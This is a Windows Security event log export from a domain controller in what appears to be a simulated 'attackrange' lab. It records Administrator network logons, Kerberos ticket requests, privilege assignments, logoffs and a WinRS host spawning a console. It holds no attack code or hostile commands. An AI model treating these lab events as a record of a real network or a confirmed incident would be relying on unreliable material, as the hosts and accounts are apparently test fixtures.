	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:40 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251235
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{CD7754EE-4040-C0F7-BE92-72E3BB4DF8A5}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:40 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=251234
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{CD7754EE-4040-C0F7-BE92-72E3BB4DF8A5}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:40 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=251233
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:40 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=251232
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x12CCB9

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1118
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x13c4
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:40 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=251231
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x12CCB9

Process Information:
	New Process ID:		0x13c4
	New Process Name:	C:\Windows\System32\winrshost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1e0
	Creator Process Name:	C:\Windows\System32\svchost.exe
	Process Command Line:	C:\Windows\system32\WinrsHost.exe -Embedding

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:40 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251230
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x12CCB9

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:40 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251229
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x12CCB9
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{CD7754EE-4040-C0F7-BE92-72E3BB4DF8A5}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:40 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251228
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{CD7754EE-4040-C0F7-BE92-72E3BB4DF8A5}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:40 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=251227
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{CD7754EE-4040-C0F7-BE92-72E3BB4DF8A5}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:40 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=251226
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:40 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251225
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x12CAD5

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:40 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251224
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x12528E

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:40 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251223
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x12CC60

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:40 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251222
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x12CC60
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64512

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:40 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251221
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x12CC60

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:40 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251220
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x12CBFF

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:40 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251219
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x12CBFF
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64511

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:40 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251218
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x12CBFF

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:40 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251217
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x12CB99

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:40 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251216
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x12CB99
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64510

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:40 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251215
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x12CB99

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:40 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251214
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x12CB38

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:40 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251213
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x12CB38
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64509

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:40 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251212
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x12CB38

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:40 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251211
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x12B409

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:40 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251210
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1254DE

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:40 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251209
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x128B0F

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:40 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251208
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x127042

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:40 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=251207
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1298AA

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:40 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251206
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x12CAD5

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:40 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251205
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
